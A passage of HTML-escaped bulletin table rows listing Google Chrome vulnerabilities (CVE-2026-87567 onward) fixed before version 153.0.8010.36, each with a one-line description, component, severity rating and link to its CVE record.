&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87567&quot; target=&quot;_blank&quot;&gt;CVE-2026-87567&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Improper input validation in Chromium in Google Chrome prior to 153.0.8010.36 allowed a remote attacker who had compromised the renderer process to spoof UI elements via crafted network traffic. (Chromium security severity: Low)&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87568&quot; target=&quot;_blank&quot;&gt;CVE-2026-87568&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Missing authorization in Views in Google Chrome prior to 153.0.8010.36 allowed a remote attacker leveraging social engineering to bypass system access restrictions via a crafted HTML page. (Chromium security severity: High)&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87569&quot; target=&quot;_blank&quot;&gt;CVE-2026-87569&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Incorrect authorization in SiteIsolation in Google Chrome prior to 153.0.8010.36 allowed a remote attacker who had compromised the renderer process and leveraged social engineering to bypass site isolation via a crafted file. (Chromium security severity: Medium)&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87570&quot; target=&quot;_blank&quot;&gt;CVE-2026-87570&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Improper certificate validation in Loader in Google Chrome prior to 153.0.8010.36 allowed a remote attacker leveraging social engineering to bypass web origin policy via crafted network traffic. (Chromium security severity: Low)&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87571&quot; target=&quot;_blank&quot;&gt;CVE-2026-87571&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Injection in DevTools in Google Chrome prior to 153.0.8010.36 allowed a remote attacker who had compromised the renderer process to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: High)&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87572&quot; target=&quot;_blank&quot;&gt;CVE-2026-87572&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Improper input validation in Network in Google Chrome prior to 153.0.8010.36 allowed a remote attacker to bypass web origin policy via a crafted HTML page. (Chromium security severity: Medium)&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87573&quot; target=&quot;_blank&quot;&gt;CVE-2026-87573&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Information leak in ServiceWorker in Google Chrome prior to 153.0.8010.36 allowed a remote attacker to obtain cross-origin data via a crafted HTML page. (Chromium security severity: Medium)&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87574&quot; target=&quot;_blank&quot;&gt;CVE-2026-87574&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Incorrect authorization in Loader in Google Chrome prior to 153.0.8010.36 allowed a remote attacker leveraging social engineering to bypass system access restrictions via a crafted HTML page. (Chromium security severity: Low)&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87575&quot; target=&quot;_blank&quot;&gt;CVE-2026-87575&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Uninitialized resource in GPU in Google Chrome on on Android prior to 153.0.8010.36 allowed a remote attacker who had compromised the renderer process to read memory outside the sandbox via a crafted HTML page. (Chromium security severity: Medium)&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87576&quot; target=&quot;_blank&quot;&gt;CVE-2026-87576&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Incorrect authorization in Isolated in Google Chrome prior to 153.0.8010.36 allowed a remote attacker to bypass web origin policy into a privileged page via a crafted HTML page. (Chromium security severity: Medium)&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87577&quot; target=&quot;_blank&quot;&gt;CVE-2026-87577&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Use after free in Receiver in Google Chrome prior to 153.0.8010.36 allowed an adjacent attacker to execute arbitrary code outside the sandbox via crafted network traffic. (Chromium security severity: High)&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87578&quot; target=&quot;_blank&quot;&gt;CVE-2026-87578&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Buffer overflow in WebRTC in Google Chrome prior to 153.0.8010.36 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87579&quot; target=&quot;_blank&quot;&gt;CVE-2026-87579&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Incorrect authorization in WebAppInstalls in Google Chrome prior to 153.0.8010.36 allowed a remote attacker who had compromised the renderer process and leveraged social engineering to bypass site isolation via a crafted HTML page. (Chromium security severity: Medium)&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87580&quot; target=&quot;_blank&quot;&gt;CVE-2026-87580&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Use after free in Payments in Google Chrome prior to 153.0.8010.36 allowed a remote attacker leveraging social engineering to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: High)&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87581&quot; target=&quot;_blank&quot;&gt;CVE-2026-87581&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Confused deputy in DataTransfer in Google Chrome prior to 153.0.8010.36 allowed a remote attacker who had compromised the renderer process to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Medium)&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87582&quot; target=&quot;_blank&quot;&gt;CVE-2026-87582&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;UI misrepresentation in Passwords in Google Chrome on on Android prior to 153.0.8010.36 allowed a remote attacker to spoof UI elements via a crafted HTML page. (Chromium security severity: Low)&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87583&quot; target=&quot;_blank&quot;&gt;CVE-2026-87583&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Incorrect authorization in WebUI in Google Chrome prior to 153.0.8010.36 allowed a remote attacker to bypass system access restrictions into a privileged page via a crafted HTML page. (Chromium security severity: Medium)&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87584&quot; target=&quot;_blank&quot;&gt;CVE-2026-87584&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Double free in PDFium in Google Chrome on on Windows prior to 153.0.8010.36 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted PDF file. (Chromium security severity: High)&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87585&quot; target=&quot;_blank&quot;&gt;CVE-2026-87585&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Out of bounds read in ANGLE in Google Chrome prior to 153.0.8010.36 allowed a remote attacker to read memory outside the sandbox via a crafted HTML page. (Chromium security severity: Medium)&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87586&quot; target=&quot;_blank&quot;&gt;CVE-2026-87586&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Use after free in V8 in Google Chrome prior to 153.0.8010.36 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87587&quot; target=&quot;_blank&quot;&gt;CVE-2026-87587&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Use after free in Chromecast in Google Chrome prior to 153.0.8010.36 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87588&quot; target=&quot;_blank&quot;&gt;CVE-2026-87588&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Incorrect authorization in SiteIsolation in Google Chrome prior to 153.0.8010.36 allowed a remote attacker who had compromised the renderer process to bypass system access restrictions via a crafted HTML page. (Chromium security severity: Medium)&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87589&quot; target=&quot;_blank&quot;&gt;CVE-2026-87589&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Improper input validation in Passwords in Google Chrome prior to 153.0.8010.36 allowed a remote attacker to potentially leak sensitive information via crafted network traffic. (Chromium security severity: Medium)&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87590&quot; target=&quot;_blank&quot;&gt;CVE-2026-87590&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Incorrect authorization in Extensions in Google Chrome prior to 153.0.8010.36 allowed a remote attacker to bypass system access restrictions via a crafted Chrome extension. (Chromium security severity: Medium)&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87591&quot; target=&quot;_blank&quot;&gt;CVE-2026-87591&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Out of bounds read in Tint in Google Chrome prior to 153.0.8010.36 allowed a remote attacker to potentially read memory inside the sandbox via a crafted HTML page. (Chromium security severity: Low)&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87592&quot; target=&quot;_blank&quot;&gt;CVE-2026-87592&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Information leak in Editing in Google Chrome prior to 153.0.8010.36 allowed a remote attacker to obtain sensitive information via a crafted HTML page. (Chromium security severity: Low)&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87593&quot; target=&quot;_blank&quot;&gt;CVE-2026-87593&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Incorrect authorization in DataTransfer in Google Chrome prior to 153.0.8010.36 allowed a remote attacker who had compromised the renderer process to obtain sensitive information via a crafted HTML page. (Chromium security severity: Medium)&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87594&quot; target=&quot;_blank&quot;&gt;CVE-2026-87594&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Server-side request forgery in Mobile in Google Chrome prior to 153.0.8010.36 allowed a remote attacker leveraging social engineering to bypass system access restrictions via a crafted HTML page. (Chromium security severity: Low)&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87595&quot; target=&quot;_blank&quot;&gt;CVE-2026-87595&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Out of bounds read in ANGLE in Google Chrome prior to 153.0.8010.36 allowed a remote attacker to read memory outside the sandbox via a crafted HTML page. (Chromium security severity: High)&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87596&quot; target=&quot;_blank&quot;&gt;CVE-2026-87596&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;UI misrepresentation in CustomTabs in Google Chrome on on Android prior to 153.0.8010.36 allowed a remote attacker to spoof address bar via a co-installed app. (Chromium security severity: Low)&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87597&quot; target=&quot;_blank&quot;&gt;CVE-2026-87597&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Incorrect authorization in ServiceWorker in Google Chrome prior to 153.0.8010.36 allowed a remote attacker to bypass web origin policy via a crafted HTML page. (Chromium security severity: Low)&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87598&quot; target=&quot;_blank&quot;&gt;CVE-2026-87598&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Improper input validation in Interstitials in Google Chrome prior to 153.0.8010.36 allowed a remote attacker to spoof UI elements via a crafted HTML page. (Chromium security severity: Medium)&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87599&quot; target=&quot;_blank&quot;&gt;CVE-2026-87599&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Improper input validation in Safebrowsing in Google Chrome on on Android prior to 153.0.8010.36 allowed a remote attacker leveraging social engineering to bypass system access restrictions via a crafted HTML page. (Chromium security severity: Medium)&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87600&quot; target=&quot;_blank&quot;&gt;CVE-2026-87600&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Race condition in V8 in Google Chrome prior to 153.0.8010.36 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87601&quot; target=&quot;_blank&quot;&gt;CVE-2026-87601&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Out of bounds read in ANGLE in Google Chrome on on Windows prior to 153.0.8010.36 allowed a remote attacker to potentially read memory outside the sandbox via a crafted HTML page. (Chromium security severity: Low)&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87602&quot; target=&quot;_blank&quot;&gt;CVE-2026-87602&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Missing authorization in FileSystem in Google Chrome prior to 153.0.8010.36 allowed a remote attacker to bypass system access restrictions via a crafted HTML page. (Chromium security severity: Medium)&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87603&quot; target=&quot;_blank&quot;&gt;CVE-2026-87603&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Out of bounds read in ANGLE in Google Chrome prior to 153.0.8010.36 allowed a remote attacker who had compromised the renderer process to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: High)&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87604&quot; target=&quot;_blank&quot;&gt;CVE-2026-87604&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Missing authorization in Contacts in Google Chrome prior to 153.0.8010.36 allowed a remote attacker who had compromised the renderer process and leveraged social engineering to potentially obtain sensitive information via a crafted HTML page. (Chromium security severity: Low)&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87605&quot; target=&quot;_blank&quot;&gt;CVE-2026-87605&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Missing authorization in SiteIsolation in Google Chrome prior to 153.0.8010.36 allowed a remote attacker who had compromised the renderer process to bypass site isolation via a crafted HTML page. (Chromium security severity: Medium)&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87606&quot; target=&quot;_blank&quot;&gt;CVE-2026-87606&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Use after free in Device in Google Chrome on on Mac prior to 153.0.8010.36 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: High)&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87607&quot; target=&quot;_blank&quot;&gt;CVE-2026-87607&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Improper certificate validation in FedCM in Google Chrome prior to 153.0.8010.36 allowed a remote attacker leveraging social engineering to bypass web origin policy via crafted network traffic. (Chromium security severity: Low)&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87608&quot; target=&quot;_blank&quot;&gt;CVE-2026-87608&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Use after free in Sharing in Google Chrome on on iOS prior to 153.0.8010.36 allowed a remote attacker to execute arbitrary code outside the sandbox via crafted network traffic. (Chromium security severity: Medium)&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87609&quot; target=&quot;_blank&quot;&gt;CVE-2026-87609&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Incorrect authorization in Omnibox in Google Chrome prior to 153.0.8010.36 allowed a remote attacker to bypass system access restrictions into a privileged page via a crafted HTML page. (Chromium security severity: Medium)&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87610&quot; target=&quot;_blank&quot;&gt;CVE-2026-87610&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Missing authorization in FileSystem in Google Chrome prior to 153.0.8010.36 allowed a remote attacker who had compromised the renderer process to obtain cross-origin data via a crafted HTML page. (Chromium security severity: Medium)&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87611&quot; target=&quot;_blank&quot;&gt;CVE-2026-87611&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Type confusion in V8 in Google Chrome prior to 153.0.8010.36 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87612&quot; target=&quot;_blank&quot;&gt;CVE-2026-87612&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Incorrect reference resolution in Extensions in Google Chrome prior to 153.0.8010.36 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via crafted network traffic. (Chromium security severity: Medium)&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87613&quot; target=&quot;_blank&quot;&gt;CVE-2026-87613&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Incorrect authorization in ServiceWorker in Google Chrome prior to 153.0.8010.36 allowed a remote attacker who had compromised the renderer process to bypass web origin policy via a crafted HTML page. (Chromium security severity: Low)&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
